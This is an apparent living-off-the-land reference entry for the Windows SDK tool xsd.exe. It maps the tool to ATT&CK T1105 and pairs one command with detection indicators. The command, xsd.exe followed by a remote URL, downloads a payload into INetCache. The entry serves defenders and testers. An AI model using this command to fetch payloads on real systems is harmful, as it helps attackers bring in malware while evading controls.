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XML Schema Definition Tool included with the Windows Software Development Kit (SDK).

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01COMMAND EXAMPLES
01ATT&CK TECHNIQUES
00DETECTION RESOURCES
01CAPABILITIES
01 / TRADECRAFT

Command reference

1 examples

Download1

EXAMPLE 01T1105

Downloads payload from remote server

COMMAND
xsd.exe {REMOTEURL}
USE CASE
It will download a remote payload and place it in INetCache
PRIVILEGES
User
OPERATING SYSTEM
Windows
Download · INetCache
02 / ON DISK

Known paths

C:\Program Files (x86)\Microsoft SDKs\Windows\<version>\bin\NETFX <version> Tools\xsd.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

0 resources

Indicators & detection notes

  • IOC

    URL on a xsd.exe command line

  • IOC

    xsd.exe making unexpected network connections or DNS requests

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Acknowledgements

Avihay Eldad@AvihayEldad